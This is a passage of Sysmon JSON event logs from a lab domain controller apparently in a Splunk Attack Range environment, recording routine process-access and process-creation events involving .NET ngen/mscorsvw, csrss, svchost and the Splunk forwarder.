{90617006-431B-5F2D-0000-00109BD30F00}\r\nTargetProcessId: 4448\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.619","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4876","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-00109BD30F00}","TargetProcessId":"4448","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6d87|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2066|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8b84|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+6ad3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+69a3|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+1f19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+8198|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1f42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+1d64|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+277a|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe+2708|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8005,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.619\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 660\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-431B-5F2D-0000-00109BD30F00}\r\nTargetProcessId: 4448\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.619","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"660","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-00109BD30F00}","TargetProcessId":"4448","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8006,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.635\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-431B-5F2D-0000-00109BD30F00}\r\nTargetProcessId: 4448\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.635","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-00109BD30F00}","TargetProcessId":"4448","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8007,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.697\r\nSourceProcessGUID: {90617006-422D-5F2D-0000-0010E7380900}\r\nSourceProcessId: 4860\r\nSourceThreadId: 4488\r\nSourceImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe\r\nTargetProcessGUID: {90617006-42FF-5F2D-0000-0010151D0F00}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x103801\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.697","SourceProcessGUID":"{90617006-422D-5F2D-0000-0010E7380900}","SourceProcessId":"4860","SourceThreadId":"4488","SourceImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\ngen.exe","TargetProcessGUID":"{90617006-42FF-5F2D-0000-0010151D0F00}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x103801","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+2d42|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+a4e6|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9ebd|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9c4b|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9b19|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+91db|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+9168|C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvc.dll+8fc5|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8008,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.697\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 1148\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42FF-5F2D-0000-0010151D0F00}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.697","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"1148","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42FF-5F2D-0000-0010151D0F00}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8009,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.713\r\nSourceProcessGUID: {90617006-3FD3-5F2D-0000-0010AF650000}\r\nSourceProcessId: 588\r\nSourceThreadId: 648\r\nSourceImage: C:\\Windows\\system32\\svchost.exe\r\nTargetProcessGUID: {90617006-431B-5F2D-0000-0010AAD70F00}\r\nTargetProcessId: 4784\r\nTargetImage: C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe\r\nGrantedAccess: 0x1000\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.713","SourceProcessGUID":"{90617006-3FD3-5F2D-0000-0010AF650000}","SourceProcessId":"588","SourceThreadId":"648","SourceImage":"C:\\Windows\\system32\\svchost.exe","TargetProcessGUID":"{90617006-431B-5F2D-0000-0010AAD70F00}","TargetProcessId":"4784","TargetImage":"C:\\Windows\\Microsoft.NET\\Framework64\\v4.0.30319\\mscorsvw.exe","GrantedAccess":"0x1000","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\System32\\KERNELBASE.dll+221bd|c:\\windows\\system32\\rpcss.dll+5296|C:\\Windows\\System32\\RPCRT4.dll+78253|C:\\Windows\\System32\\RPCRT4.dll+43d4b|C:\\Windows\\System32\\RPCRT4.dll+4693a|C:\\Windows\\System32\\RPCRT4.dll+59cd4|C:\\Windows\\System32\\RPCRT4.dll+58bed|C:\\Windows\\System32\\RPCRT4.dll+5949b|C:\\Windows\\System32\\RPCRT4.dll+3933c|C:\\Windows\\System32\\RPCRT4.dll+397bc|C:\\Windows\\System32\\RPCRT4.dll+53dac|C:\\Windows\\System32\\RPCRT4.dll+5560b|C:\\Windows\\System32\\RPCRT4.dll+480ea|C:\\Windows\\SYSTEM32\\ntdll.dll+286be|C:\\Windows\\SYSTEM32\\ntdll.dll+2a029|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":1,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":5,"Task":1,"OpcodeValue":0,"RecordNumber":8010,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process Create:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.872\r\nProcessGuid: {90617006-431B-5F2D-0000-0010C3DB0F00}\r\nProcessId: 3204\r\nImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nFileVersion: ?\r\nDescription: ?\r\nProduct: ?\r\nCompany: ?\r\nOriginalFileName: ?\r\nCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2\r\nCurrentDirectory: C:\\Windows\\system32\\\r\nUser: NT AUTHORITY\\SYSTEM\r\nLogonGuid: {90617006-3FD2-5F2D-0000-0020E7030000}\r\nLogonId: 0x3E7\r\nTerminalSessionId: 0\r\nIntegrityLevel: System\r\nHashes: MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C\r\nParentProcessGuid: {90617006-407B-5F2D-0000-0010B4110500}\r\nParentProcessId: 5056\r\nParentImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nParentCommandLine: \"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","Category":"Process Create (rule: ProcessCreate)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.872","ProcessGuid":"{90617006-431B-5F2D-0000-0010C3DB0F00}","Image":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","FileVersion":"?","Description":"?","Product":"?","Company":"?","OriginalFileName":"?","CommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\" --ps2","CurrentDirectory":"C:\\Windows\\system32\\","User":"NT AUTHORITY\\SYSTEM","LogonGuid":"{90617006-3FD2-5F2D-0000-0020E7030000}","LogonId":"0x3e7","TerminalSessionId":"0","IntegrityLevel":"System","Hashes":"MD5=030CC9FD3784684043D9236FF16904DE,SHA256=6C84A212BD1EA1FCC493E9F8ED1C1507E2773F6FE71ACDE265067F3153BE6241,IMPHASH=45491F0E80AC016364EB8FB78BD23A1C","ParentProcessGuid":"{90617006-407B-5F2D-0000-0010B4110500}","ParentProcessId":"5056","ParentImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","ParentCommandLine":"\"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\" service","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8011,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.870\r\nSourceProcessGUID: {90617006-407B-5F2D-0000-0010B4110500}\r\nSourceProcessId: 5056\r\nSourceThreadId: 3932\r\nSourceImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe\r\nTargetProcessGUID: {90617006-42F9-5F2D-0000-0010A1D60E00}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.870","SourceProcessGUID":"{90617006-407B-5F2D-0000-0010B4110500}","SourceProcessId":"5056","SourceThreadId":"3932","SourceImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe","TargetProcessGUID":"{90617006-42F9-5F2D-0000-0010A1D60E00}","TargetProcessId":"3204","TargetImage":"C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe","GrantedAccess":"0x1fffff","CallTrace":"C:\\Windows\\SYSTEM32\\ntdll.dll+a7194|C:\\Windows\\System32\\KERNELBASE.dll+2b860|C:\\Windows\\System32\\KERNELBASE.dll+6b246|C:\\Windows\\System32\\KERNEL32.DLL+1c213|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+ce6a3b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17cade|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18641d|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+17ef16|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c992c4|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+18689b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+189d3c|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c95f5f|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c99fad|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+184c5b|C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunkd.exe+c7dd7e|C:\\Windows\\System32\\ucrtbase.dll+1fb80|C:\\Windows\\System32\\KERNEL32.DLL+84d4|C:\\Windows\\SYSTEM32\\ntdll.dll+6e871","EventReceivedTime":"2020-08-07 12:03:40","SourceModuleName":"eventlog","SourceModuleType":"im_msvistalog"} +{"EventTime":"2020-08-07 12:03:39","Hostname":"win-dc-9849183.attackrange.local","Keywords":-9223372036854775808,"EventType":"INFO","SeverityValue":2,"Severity":"INFO","EventID":10,"SourceName":"Microsoft-Windows-Sysmon","ProviderGuid":"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}","Version":3,"Task":10,"OpcodeValue":0,"RecordNumber":8012,"ProcessID":2736,"ThreadID":3276,"Channel":"Microsoft-Windows-Sysmon/Operational","Domain":"NT AUTHORITY","AccountName":"SYSTEM","UserID":"S-1-5-18","AccountType":"User","Message":"Process accessed:\r\nRuleName: \r\nUtcTime: 2020-08-07 12:03:39.870\r\nSourceProcessGUID: {90617006-3FD2-5F2D-0000-0010D5420000}\r\nSourceProcessId: 644\r\nSourceThreadId: 2376\r\nSourceImage: C:\\Windows\\system32\\csrss.exe\r\nTargetProcessGUID: {90617006-42F9-5F2D-0000-0010A1D60E00}\r\nTargetProcessId: 3204\r\nTargetImage: C:\\Program Files\\SplunkUniversalForwarder\\bin\\splunk-powershell.exe\r\nGrantedAccess: 0x1FFFFF\r\nCallTrace: C:\\Windows\\SYSTEM32\\ntdll.dll+a5ec4|C:\\Windows\\system32\\basesrv.DLL+2f47|C:\\Windows\\SYSTEM32\\CSRSRV.dll+5645|C:\\Windows\\SYSTEM32\\ntdll.dll+6e87f","Category":"Process accessed (rule: ProcessAccess)","Opcode":"Info","UtcTime":"2020-08-07 12:03:39.870","SourceProcessGUID":"{90617006-3FD2-5F2D-0000-0010D5420000}","SourceProcessId":"644","SourceThreadId":"2376","SourceImage":"C:\\Windows\\system32\\csrss.exe","TargetProcessGUID":"{90617006-42F9-5F2D-0000-0010A1D60E00}","TargetProcessId":"3204","TargetImage":"C:\\Program 